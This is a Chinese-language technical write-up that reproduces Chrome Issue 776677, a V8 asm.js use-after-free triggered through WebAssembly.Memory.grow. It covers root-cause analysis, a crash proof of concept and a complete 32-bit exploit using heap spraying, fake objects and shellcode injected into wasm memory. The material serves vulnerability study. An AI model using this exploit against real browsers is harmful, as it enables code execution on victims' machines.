0x00 前言
之前一直在学习V8方面的漏洞,对于asm.js层的UAF漏洞还是第一次接触,本文将详细分析Chrome Issue 776677漏洞以及其利用方法。
0x01 前置知识
asm.js
asm.js不是一门新的语言,而是JavaScript的一个子集。由Mozilla于2013年提出,主要为了提升JS引擎执行代码的速度。通俗来说,同样是js代码,符合asm.js规范的代码对JS引擎更加友好,JS引擎在解释执行这些代码更加省心(例如不用进行变量类型推断了),也就更加快。
一旦 JavaScript 引擎发现运行的是 asm.js,就知道这是经过优化的代码,可以跳过语法分析这一步,直接转成汇编语言。另外,浏览器还会调用 WebGL 通过 GPU 执行 asm.js,即 asm.js 的执行引擎与普通的 JavaScript 脚本不同。这些都是 asm.js 运行较快的原因。据称,asm.js 在浏览器里的运行速度,大约是原生代码的50%左右。
在asm.js 中,变量只有两种数据类型。32位带符号整数
和64位带符号浮点数
asm.js 的类型声明有固定写法,变量 | 0
表示整数,+变量
表示浮点数。如下
var a = 1;
var x = a | 0; // x 是32位整数
var y = +a; // y 是64位浮点数
在javascript中,区别是普通js
还是asm.js
的关键在于函数里是否使用"use asm";
关键词修饰,在函数中,在"use asm";
关键词之后的代码都属于asm.js
,如下,由于module
第一行使用了该关键字,那么函数后面的代码都将使用asm.js
将代码翻译为汇编代码
function module() {
"use asm";
function f(x) {
x = x | 0;
}
return f;
}
var f = module();
f(1);
使用./d8 t.js -print-opt-code
运行,可以看到,虽然没有多次循环触发JIT
编译,但是仍然使用了turbofan
进行编译
kind = JS_TO_WASM_FUNCTION
name = js-to-wasm#0
compiler = turbofan
Instructions (size = 138)
0x3f4062c0 0 55 push ebp
0x3f4062c1 1 89e5 mov ebp,esp
0x3f4062c3 3 56 push esi
0x3f4062c4 4 57 push edi
0x3f4062c5 5 8b4508 mov eax,[ebp+0x8]
0x3f4062c8 8 e8d303f01f call 0x5f3066a0 (ToNumber) ;; code: BUILTIN
0x3f4062cd d a801 test al,0x1
0x3f4062cf f 0f8528000000 jnz 0x3f4062fd <+0x3d>
0x3f4062d5 15 d1f8 sar eax,1
0x3f4062d7 17 f20f2ac8 cvtsi2sd xmm1,eax
0x3f4062db 1b f20f2cc1 cvttsd2si eax,xmm1
0x3f4062df 1f 83f801 cmp eax,0x1
0x3f4062e2 22 0f8039000000 jo 0x3f406321 <+0x61>
0x3f4062e8 28 be00000000 mov esi,(nil) ;; wasm context reference
0x3f4062ed 2d e8cefeffff call 0x3f4061c0 ;; code: BUILTIN
0x3f4062f2 32 b885411839 mov eax,0x39184185 ;; object: 0x39184185 <undefined>
0x3f4062f7 37 89ec mov esp,ebp
0x3f4062f9 39 5d pop ebp
0x3f4062fa 3a c20800 ret 0x8
0x3f4062fd 3d b985411839 mov ecx,0x39184185 ;; object: 0x39184185 <undefined>
0x3f406302 42 3bc1 cmp eax,ecx
0x3f406304 44 0f8407000000 jz 0x3f406311 <+0x51>
0x3f40630a 4a f20f104803 movsd xmm1,[eax+0x3]
0x3f40630f 4f ebca jmp 0x3f4062db <+0x1b>
0x3f406311 51 660f76c9 pcmpeqd xmm1,xmm1
0x3f406315 55 660f73f134 psllq xmm1,52
0x3f40631a 5a 660f73d101 psrlq xmm1,1
0x3f40631f 5f ebba jmp 0x3f4062db <+0x1b>
0x3f406321 61 83ec08 sub esp,0x8
0x3f406324 64 f20f110c24 movsd [esp],xmm1
0x3f406329 69 e8d25ac0fc call 0x3c00be00 ;; code: STUB, DoubleToIStub, minor: 0
0x3f40632e 6e 83c408 add esp,0x8
0x3f406331 71 ebb5 jmp 0x3f4062e8 <+0x28>
0x3f406333 73 90 nop
在asm.js
中,不能直接调用javascript
中的函数或者访问数据,如下会报错,找不到print
函数
function module() {
"use asm";
function f(x) {
x = x | 0;
print(x);
}
return f;
}
想要在asm.js
中调用js
中的函数和对象,必须使用函数参数来间接传递地址进行访问,如下
function module(stdlib) {
"use asm";
var p = stdlib.print;
function f(x) {
x = x | 0;
p(x);
}
return f;
}
var stdlib = {print:print};
var f = module(stdlib);
f(1);
通常,一个标准的asm.js
函数模块参数应该有三个function module(stdlib,foreign,buffer) {}
,其中stdlib
用来传递想要用到的一些函数,foreign
用来传递一些变量,buffer
用来共享内存。
function module(stdlib,foreign,buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function f1(x) {
x = x | 0;
fl[0x11] = x;
}
return f1;
}
var global = {Uint32Array:Uint32Array};
var env = {};
var buffer = new ArrayBuffer(0x100);
var f = module(global,env,buffer);
f(0x22);
var dv = new DataView(buffer);
print(dv.getUint32(0x11*4,true));
如图,我们在asm.js
里修改了ArrayBuffer
的内容,然后在js
层显示。
除了直接传入ArrayBuffer
对象进行内存共享,还可以使用WebAssembly.Memory
来构造
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
其返回的buffer
也是一个ArrayBuffer
对象
DebugPrint: 0x4cb18421: [JSArrayBuffer] in OldSpace
- map = 0x3b9047b9 [FastProperties]
- prototype = 0x4cb08ac5
- elements = 0x5450412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0xf1dca000
- byte_length = 13107200
- wasm_buffer
- properties = 0x5450412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
其中initial:200
代表申请200页大小的内存,每页为0x10000
。使用WebAssembly.Memory
的好处是其申请的内存空间可以扩展,如果想要扩充空间,·只需调用grow
函数。而ArrayBuffer
的话不能做到空间扩充。
memory.grow(1); //扩充1页的内存
0x02 漏洞分析
patch分析
patch的地方比较多,经过分析,比较关键的地方是这两处
index cecf460..24b9091 100644
--- a/src/asmjs/asm-js.cc
+++ b/src/asmjs/asm-js.cc
@@ -374,6 +374,7 @@
ReportInstantiationFailure(script, position, "Requires heap buffer");
return MaybeHandle<Object>();
}
+ memory->set_is_growable(false);
size_t size = NumberToSize(memory->byte_length());
// TODO(mstarzinger): We currently only limit byte length of the buffer to
// be a multiple of 8, we should enforce the stricter spec limits here.
diff --git a/src/wasm/wasm-js.cc b/src/wasm/wasm-js.cc
index bad1a21..631d94a 100644
--- a/src/wasm/wasm-js.cc
+++ b/src/wasm/wasm-js.cc
@@ -753,6 +753,10 @@
max_size64 = i::FLAG_wasm_max_mem_pages;
}
i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
+ if (!old_buffer->is_growable()) {
+ thrower.RangeError("This memory cannot be grown");
+ return;
+ }
uint32_t old_size =
old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
int64_t new_size64 = old_size + delta_size;
主要是为asm.js
的memory
设置了一个标记,不允许我们在memory传给asm.js
的模块以后再调用memory.grow()
函数。
其精简后的POC如下
function module(stdlib,foreign,buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function f1(x) {
x = x | 0;
fl[0] = x;
}
return f1;
}
var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);
memory.grow(1);
evil_f(1);
与前面的示例差不多,我们仅仅是增加了一句memory.grow(1);
,然后调用函数以后就出现了崩溃。
root@ubuntu:~/Desktop/v8/out.gn/ia32.debug# ./d8 poc.js
Received signal 11 SEGV_MAPERR 0000f1d64000
==== C stack trace ===============================
[0x0000f58e4e80]
[0x0000f58e4d7a]
[0x0000f7f07b80]
[0x00004010658b]
[0x0000549fc522]
[0x0000549f9336]
[0x00005498608f]
[0x0000f6d7935f]
[0x0000f6d788a2]
[0x0000f6d786af]
[0x0000f61fbef6]
[0x0000565f7010]
[0x00005660c8c0]
[0x000056610ff3]
[0x000056612523]
[0x000056612912]
[0x0000f53ace91]
[end of stack trace]
Segmentation fault (core dumped)
很明显是内存访问错误,使用gdb调试
pwndbg> c
Continuing.
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
0x4498658b in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────────────────────────
*EAX 0x1
*EBX 0x0
*ECX 0xc80000
*EDX 0xf1d99000
*EDI 0x44986580 ◂— mov ecx, dword ptr [esi + 4] /* 0x8b044e8b */
*ESI 0x56d586d0 ◂— 0xf1d99000
*EBP 0xfff53ed4 —▸ 0xfff53f08 —▸ 0xfff53f20 —▸ 0xfff53f48 —▸ 0xfff540d8 ◂— ...
*ESP 0xfff53ec8 —▸ 0x449862f2 ◂— mov eax, 0x43a84185 /* 0xa84185b8 */
*EIP 0x4498658b ◂— mov dword ptr [edx + ebx], eax /* 0xc31a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x4498658b mov dword ptr [edx + ebx], eax
0x4498658e ret
查看该地址0xf1d99000
的映射情况,可以发现这个地址不在映射之内
.............
0xf1109000 0xf1d99000 rw-p c90000 0
0xf2a19000 0xf2c8e000 rw-p 275000 0
.............
然而如果事先加了一个%DebugPrint
将buffer
打印的话,会发现
DebugPrint: 0x52698935: [JSArrayBuffer] in OldSpace
- map = 0x5ab047b9 [FastProperties]
- prototype = 0x52688ac5
- elements = 0x3628412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = 0xf1d99000
- byte_length = 13107200
- wasm_buffer
- properties = 0x3628412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
该不可访问地址实际就是ArrayBuffer
的backing_store
,那么可能的原因是memory.grow(1);
操作使得ArrayBuffer
的backing_store
被释放掉了。我们在memory.grow(1);
之后加一句%DebugPrint(buffer);
,可以发现
DebugPrint: 0x5c518941: [JSArrayBuffer] in OldSpace
- map = 0x2a0847b9 [FastProperties]
- prototype = 0x5c508ac5
- elements = 0x2de8412d <FixedArray[0]> [HOLEY_SMI_ELEMENTS]
- embedder fields: 2
- backing_store = (nil)
- byte_length = 0
- external
- neuterable
- neutered
- wasm_buffer
- properties = 0x2de8412d <FixedArray[0]> {}
- embedder fields = {
(nil)
(nil)
}
ArrayBuffer的一些指针确实被清空掉了,但是asm.js
里访问时仍然使用了原来那个指针,这是一个UAF
。
asm.js的UAF成因分析
在分析这个UAF之前,我们先大致了解一下asm.js
的编译过程,一个比较关键的地方是位于src/wasm/module-compiler.cc
文件中的InstanceBuilder::Build
函数,第1792
行开始,获取外部传入的ArrayBuffer
对象,并设置一些属性
1792 if (!memory_.is_null()) {
1793 Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
1794 // Set externally passed ArrayBuffer non neuterable.
► 1795 memory->set_is_neuterable(false);
1796 memory->set_is_wasm_buffer(true);
1797
1798 DCHECK_IMPLIES(trap_handler::UseTrapHandler(),
1799 module_->is_asm_js() || memory->has_guard_region());
1800 } else if (initial_pages > 0) {
然后第1838
行开始,进行一些检查,然后将ArrayBuffer
对象设置到instance
实例中。
1838 Address mem_start = nullptr;
1839 uint32_t mem_size = 0;
1840 if (!memory_.is_null()) {
1841 Handle<JSArrayBuffer> memory = memory_.ToHandleChecked();
1842 mem_start = static_cast<Address>(memory->backing_store());
► 1843 CHECK(memory->byte_length()->ToUint32(&mem_size));
1844 LoadDataSegments(mem_start, mem_size);
1845 // Just like with globals, we need to keep both the JSArrayBuffer
1846 // and save the start pointer.
1847 instance->set_memory_buffer(*memory);
1848 }
然后第1854
行,使用WasmMemoryObject::New
创建了一个memory_object
,并将其设置到instance
实例中
In file: /home/sea/Desktop/v8/src/wasm/module-compiler.cc
1853 if (module_->has_memory && !instance->has_memory_object()) {
1854 Handle<WasmMemoryObject> memory_object = WasmMemoryObject::New(
1855 isolate_,
1856 instance->has_memory_buffer() ? handle(instance->memory_buffer())
1857 : Handle<JSArrayBuffer>::null(),
► 1858 module_->maximum_pages != 0 ? module_->maximum_pages : -1);
1859 instance->set_memory_object(*memory_object);
1860 }
接下来为新创建的memory_object
设置instance
1904
1905 //--------------------------------------------------------------------------
1906 // Add instance to Memory object
1907 //--------------------------------------------------------------------------
1908 if (instance->has_memory_object()) {
► 1909 Handle<WasmMemoryObject> memory(instance->memory_object(), isolate_);
1910 WasmMemoryObject::AddInstance(isolate_, memory, instance);
1911 }
1912
pwndbg> p memory
$10 = {
<v8::internal::HandleBase> = {
location_ = 0x5671d6ac
}, <No data fields>}
pwndbg> p *memory
$11 = (v8::internal::WasmMemoryObject *) 0x5b498b29
执行完后,该memory_object
调用has_instances
会返回true
,说明已经为该memory_object
设置好了实例
pwndbg> p instance->memory_object()->has_instances()
$13 = true
在分析完asm.js
模块的编译过程以后,我们再来看一下JS层的grow
函数。该函数的实现位于src/wasm/wasm-js.cc
文件中的WebAssemblyMemoryGrow
函数。第745
行EXTRACT_THIS(receiver, WasmMemoryObject);
获取到了js层的var memory = new WebAssembly.Memory({initial:200});
这个对象。显然,在这里也表示为一个·WasmMemoryObject
740 i::Isolate* i_isolate = reinterpret_cast<i::Isolate*>(isolate);
741 HandleScope scope(isolate);
742 i::wasm::ScheduledErrorThrower thrower(i_isolate,
743 "WebAssembly.Memory.grow()");
744 Local<Context> context = isolate->GetCurrentContext();
► 745 EXTRACT_THIS(receiver, WasmMemoryObject);
746
747 int64_t delta_size = 0;
748 if (!args[0]->IntegerValue(context).To(&delta_size)) return;
749
750 int64_t max_size64 = receiver->maximum_pages();
然后这里获取到ArrayBuffer对象以及一些属性,并在旧的size基础上加上增量以后进行一些范围检查。
In file: /home/sea/Desktop/v8/src/wasm/wasm-js.cc
752 max_size64 > static_cast<int64_t>(i::FLAG_wasm_max_mem_pages)) {
753 max_size64 = i::FLAG_wasm_max_mem_pages;
754 }
755 i::Handle<i::JSArrayBuffer> old_buffer(receiver->array_buffer());
756 uint32_t old_size =
► 757 old_buffer->byte_length()->Number() / i::wasm::kSpecMaxWasmMemoryPages;
758 int64_t new_size64 = old_size + delta_size;
759 if (delta_size < 0 || max_size64 < new_size64 || new_size64 < old_size) {
760 thrower.RangeError(new_size64 < old_size ? "trying to shrink memory"
761 : "maximum memory size exceeded");
762 return;
接下来调用WasmMemoryObject::Grow
对ArrayBuffer
的backing_store
进行扩容,我们跟进该函数。
► 764 int32_t ret = i::WasmMemoryObject::Grow(i_isolate, receiver,
765 static_cast<uint32_t>(delta_size));
766 if (ret == -1) {
767 thrower.RangeError("Unable to grow instance memory.");
768 return;
769 }
在WasmMemoryObject::Grow
函数里,通过一些检查以后,就调用GrowMemoryBuffer
来分配一块更大的内存了。
476 uint32_t maximum_pages = FLAG_wasm_max_mem_pages;
477 if (memory_object->has_maximum_pages()) {
478 maximum_pages = Min(FLAG_wasm_max_mem_pages,
479 static_cast<uint32_t>(memory_object->maximum_pages()));
480 }
► 481 new_buffer = GrowMemoryBuffer(isolate, old_buffer, pages, maximum_pages);
482 if (new_buffer.is_null()) return -1;
接下来来到这里,漏洞关键点来了
► 484 if (memory_object->has_instances()) {
485 Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
486 for (int i = 0; i < instances->Length(); i++) {
487 Object* elem = instances->Get(i);
488 if (!elem->IsWasmInstanceObject()) continue;
489 Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
pwndbg> p memory_object->has_instances()
$17 = false
因为这里的memory_object
来自与JS层的那个memory
对象,而不是在InstanceBuilder::Build
函数中创建的那个,因此memory_object->has_instances()
返回的是false
。
这意味着下面的代码不会执行
if (memory_object->has_instances()) {
Handle<WeakFixedArray> instances(memory_object->instances(), isolate);
for (int i = 0; i < instances->Length(); i++) {
Object* elem = instances->Get(i);
if (!elem->IsWasmInstanceObject()) continue;
Handle<WasmInstanceObject> instance(WasmInstanceObject::cast(elem),
isolate);
SetInstanceMemory(isolate, instance, new_buffer);
}
}
由于SetInstanceMemory(isolate, instance, new_buffer);
没有执行,导致wasm
的实例里保存的那个buffer
仍然是最开始那个buffer
的地址,没有将new_buffer
更新进去。此时程序继续执行,更新JS层的memory
对象
494 memory_object->set_array_buffer(*new_buffer);
► 495 return old_size / WasmModule::kPageSize;
接下来是对old_buffer
进行处理
770 if (!old_buffer->is_shared()) {
771 // When delta_size == 0, or guard pages are enabled, the same backing store
772 // is used. To be spec compliant, the buffer associated with the memory
773 // object needs to be detached. Setup a new buffer with the same backing
774 // store, detach the old buffer, and do not free backing store memory.
► 775 bool free_memory = delta_size != 0 && !old_buffer->has_guard_region();
776 if ((!free_memory && old_size != 0) || new_size64 == 0) {
777 i::WasmMemoryObject::SetupNewBufferWithSameBackingStore(
778 i_isolate, receiver, static_cast<uint32_t>(new_size64));
779 }
780 i::wasm::DetachMemoryBuffer(i_isolate, old_buffer, free_memory);
我们跟进DetachMemoryBuffer
函数,这里将old_buffer
的backing_store
给释放掉了。
In file: /home/sea/Desktop/v8/src/wasm/wasm-memory.cc
120 // We need to free the memory before neutering the buffer because
121 // FreeBackingStore reads buffer->allocation_base(), which is nulled out
122 // by Neuter. This means there is a dangling pointer until we neuter the
123 // buffer. Since there is no way for the user to directly call
124 // FreeBackingStore, we can ensure this is safe.
► 125 buffer->FreeBackingStore();
126 }
127 }
128 buffer->set_is_neuterable(true);
129 buffer->Neuter();
130 }
可以看出,由于没有更新wasm
实例里的ArrayBuffer
对象,并且后面该ArrayBuffer
被释放,由此导致了UAF的产生,原来backing_store
的内存空间被unmmap
掉了,使得其不再出现在映射表中。当我们再次访问这块内存时,便出现了段错误。
0x03 漏洞利用
概述
现在,我们制造出了一个UAF,但是backing_store
的内存与一般对象的内存地址是分开的,不能指望将其他对象占位与此。与backing_store
类似的是Array
的Element
,它们都属于大容量存储,因此它们之间很可能会分配到相邻的地址或者地址相差较小的位置。因此,我们可以考虑使用Heap Spray
技术,在backing_store
地址附近都布局下Array
的Element
对象,然后通过UAF
去控制。由于64位内存空间太大,Heap Spray
似乎无法成功将Element
对象放到backing_store
地址附近,因此这个漏洞目前仅在32位下成功利用。
何时进行 Heap Spray
我们需要寻找一个合适的时机进行Heap Spray
,在asm.js
模块的汇编代码中,我们注意到如下代码
0x255062c0 0 55 push ebp
0x255062c1 1 89e5 mov ebp,esp
0x255062c3 3 56 push esi
0x255062c4 4 57 push edi
0x255062c5 5 8b4508 mov eax,[ebp+0x8]
0x255062c8 8 e8d303b035 call 0x5b0066a0 (ToNumber) ;; code: BUILTIN
0x255062cd d a801 test al,0x1
0x255062cf f 0f8528000000 jnz 0x255062fd <+0x3d>
0x255062d5 15 d1f8 sar eax,1
.....................
可以看到,因为我们在asm.js
模块中声明x = x | 0;
,所以会先调用ToNumber
获取对象x
的值,而ToNumber
会调用对象内部的toString
函数,因此,我们可以重写toString
函数,并在toString
函数里开始Heap Spray
。
//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
}
..........................
//重写对象的toString函数,这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
spray_heap();
return 0xffffffff;
};
evil_f(trigger);
使用gdb调试,然后断在崩溃处
EAX 0x6666666a ('jfff')
EBX 0x80108
ECX 0xc80000
EDX 0xf4cb4000
EDI 0x5403aff1 —▸ 0x4e536848 ◂— 0x9999999a
ESI 0x5858aab0 ◂— 0xf4cb4000
EBP 0xffcd9da8 —▸ 0xffcd9df8 —▸ 0xffcd9e10 —▸ 0xffcd9e38 —▸ 0xffcd9ee8 ◂— ...
ESP 0xffcd9d9c —▸ 0x52786292 ◂— mov eax, 0x27184185 /* 0x184185b8 */
EIP 0x527864ee ◂— mov dword ptr [edx + ebx], eax /* 0xbb1a0489 */
───────────────────────────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────────────────────────
► 0x527864ee mov dword ptr [edx + ebx], eax
当前访问的地址是0xf4cb4000
,查看其附近的内存
.................
0xf4024000 0xf4cb4000 rw-p c90000 0
0xf4d80000 0xf4e05000 rw-p 85000 0
0xf4e80000 0xf4f05000 rw-p 85000 0
...............
可以看到0xf4cb4000
上方和下方很多0x85000
大小的内存空间,这是正是堆喷到此处的一些Array
对象以及Elements
对象,我们在gdb中使用find
命令查找紧挨着的一块内存里的关键字
find /w4 0xf4d80000,0xf4e05000,0x9999999a
结果如下,我们看到最近的一个数据位于0xf4d84108
,可以看到该处正是某一个Array
对象的Element
,它与backing_store
之间相差0xd0108
,这个偏移并不是固定不变的,但是后12bit是固定不变的。
0xf4d84108
0xf4d84110
0xf4d84118
0xf4d84120
pwndbg> x /20wx 0xf4d84108-0x8
0xf4d84100: 0x536846f1 0x00020000 0x9999999a 0x40019999
我们可以将所有的可能偏移都罗列出来,由于这些偏移在之前那个ArrayBuffer
的length范围之内,也就是说该对象存在于那个UAF的空间里,于是我们可以利用UAF来改写Element
,我们可以修改Element
的length
属性,这样,我们可以后续构造出一个oob
数组,为了区别,我们还需要修改Element
的第一个元素,这样方便我们找到到底是哪个Array
的Element
堆喷于此处。
为了方便罗列这些可能的偏移,并进行写,我们使用JS的模板来生成多种可能的偏移写语句,方便操作
//距离不是固定的,因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}
let eval_str = `
function module(stdlib, foreign, buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function foo(x) {
x = x | 0;
${loop}
}
return foo;
}
`
eval(eval_str);
接下来就是搜索哪个被修改过的Array
对象了
//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] !== 2.2) {
console.log("[+] array at : " + i);
corrupted_array = victim_array[i];
break;
}
}
同时,我们得继续寻找该Array
对象Elements
后方的Elements
属于哪个Array
,其中注意到,由于corrupted_array
的elements的length被我们修改成了0xFFFFFFFF,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组,这个特性也是新学到的。
//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
//由于elements的length被我们修改,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组
corrupted_array.length = 0x200000;
let leaked_idx = undefined;
if (corrupted_array[0x20000] == 2.2) {
corrupted_array[0x20000] = tag; //设置一个标记
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
}
} else {
console.log("[-] fail");
}
我们搜索next_array
的目的是为了将next_array
进行释放。这样方便我们进行第二轮Heap Spray
,将其他对象布局到此处,然后用corrupted_array
进行控制。
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
//corrupted_array后方的内存释放掉,然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
这里,我们victim_array[next_array_idx] = null;
使得该处对象失去了引用,然后通过申请大量的内存new ArrayBuffer(0x1000000);
触发了垃圾回收器将next_array
的内存回收,这样corrupted_array
后方的内存就空闲了,然后我们堆喷多个HOLEY_ELEMENTS
类型的Array
,因为该Array
存储着的是对象的指针,因此,我们结合corrupted_array
和该处的Array
,就可以构造addressOf
原语和fakeObject
原语。其构造布置比较简单,这里不再叙述。然后后续利用也比较容易了。
exp
function gc() {
for (let i = 0; i < 0x10; i++) {
new ArrayBuffer(0x1000000);
}
}
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}
function u64f(value) {
dv.setFloat64(0,value,true);
return [dv.getUint32(0,true),dv.getUint32(4,true)];
}
//距离不是固定的,因此需要将所有可能的距离都赋值,我们要修改Element的length和第一个元素
let loop = "";
for(let i = 0; i < 0xd0; i++) {
loop += `fl[${0x21041 + 0x100 * i}] = x;fl[${0x21042 + 0x100 * i}] = x;`;
}
let eval_str = `
function module(stdlib, foreign, buffer) {
"use asm";
var fl = new stdlib.Uint32Array(buffer);
function foo(x) {
x = x | 0;
${loop}
}
return foo;
}
`
eval(eval_str);
//堆喷
var victim_array = [];
victim_array.length = 0x750;
var array = [1.1];
array.length = 0x10000;
array.fill(2.2);
function spray_heap() {
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
}
var global = {Uint32Array:Uint32Array};
var env = {};
var memory = new WebAssembly.Memory({initial:200});
var buffer = memory.buffer;
var evil_f = module(global,env,buffer);
evil_f(1);
//%DebugPrint(memory);
//%SystemBreak();
//evil_f(1);
//制造UAF
memory.grow(1);
//%DebugPrint(buffer);
//重写对象的toString函数,这样在执行ToNumber时可以同时触发Hpeap Spray
trigger = {};
trigger.toString = function(){
spray_heap();
return 0xffffffff;
};
evil_f(trigger);
//找到那个能够被我们UAF控制的Array
var corrupted_array = undefined;
for(var i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] !== 2.2) {
console.log("[+] array at : " + i);
corrupted_array = victim_array[i];
break;
}
}
//寻找corrupted_array的后面是哪个Array对象的elements
var next_array_idx = undefined;
var tag = p64f(0x12345678,0x78563412)
if (corrupted_array != undefined) {
//由于elements的length被我们修改,因此在这里加大length,elements仍然不变,相当于构造了一个oob数组
corrupted_array.length = 0x200000;
let leaked_idx = undefined;
if (corrupted_array[0x20000] == 2.2) {
corrupted_array[0x20000] = tag; //设置一个标记
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[0] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
}
} else {
console.log("[-] fail");
}
//%DebugPrint(victim_array[next_array_idx]);
//corrupted_array后方的内存释放掉,然后我们将其他对象堆喷到此处
victim_array[next_array_idx] = null;
gc();
//堆喷
var obj = {};
array = [obj];
array.length = 0x2000;
array.fill(obj);
for(var i = 0;i < victim_array.length;i++){
victim_array[i] = array.slice(0,array.length);
}
function addressOf(m_obj) {
for(var i = 0;i < victim_array.length;i++){
victim_array[i][0] = m_obj;
}
return u64f(corrupted_array[0x20000])[0] - 0x1;
}
var tag = {a:1.1};
var tag_addr = addressOf(tag);
//print("tag_addr=" + tag_addr.toString(16));
//寻找corrupted_array后面是哪一个Array
next_array_idx = undefined;
corrupted_array[0x20001] = p64f(tag_addr+0x1,0x123456);
//搜索标记
for(let i = 0; i < victim_array.length; i++) {
tmp = victim_array[i];
if (tmp[2] == tag) {
tmp = undefined;
console.log("[+] next array at : " + i);
next_array_idx = i;
break;
}
}
if (next_array_idx == undefined) {
throw "error"
}
function fakeObject(addr) {
corrupted_array[0x20000] = p64f(addr+0x1,0x123456);
return victim_array[next_array_idx][0];
}
const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([795371626, 1752379183, 1852400175, 23651209, 2164326657, 1769088052, 3375431937, 1493461585, 2303844609, 1792160225, 2160941067]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;
var wasm_shellcode_ptr_addr = addressOf(func) + 0x18;
print('wasm_shellcode_ptr_addr=' + wasm_shellcode_ptr_addr.toString(16));
var proto_addr = addressOf(ArrayBuffer.prototype);
var faker = [1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
//fake a ArrayBuffer Map
faker[0] = p64f(0,0x0f0a000a);
faker[1] = p64f(0x000900c6,0x082003ff);
faker[2] = p64f(proto_addr,0);
var map_addr = faker_addr + 0x20;
print("map_addr=" + map_addr.toString(16));
//fake a ArrayBuffer
faker[4] = p64f(map_addr+0x1,0x3b90412d);
faker[5] = p64f(0x3b90412d,0x100);
faker[6] = p64f(wasm_shellcode_ptr_addr,0);
faker[7] = p64f(0x800,4);
var fake_arr_buf = fakeObject(faker_addr + 0x40);
var adv = new DataView(fake_arr_buf);
var wasm_shellcode_addr = adv.getUint32(0,true) + 0x3f;
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[6] = p64f(wasm_shellcode_addr,wasm_shellcode_addr);
//%SystemBreak();
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
adv.setUint32(i*4,shellcode[i],true);
}
//%SystemBreak();
func();
0x04 感想
本次漏洞复现,学习了很多新知识,对于V8 UAF方面的漏洞还是第一次接触,结合Heap Spray
也是第一次,收获比较大。
0x05 参考
asm.js:面向未来的开发
asm.js 和 Emscripten 入门教程
Issue 776677: Security: V8:Use After Free Leads to Remote Code Execution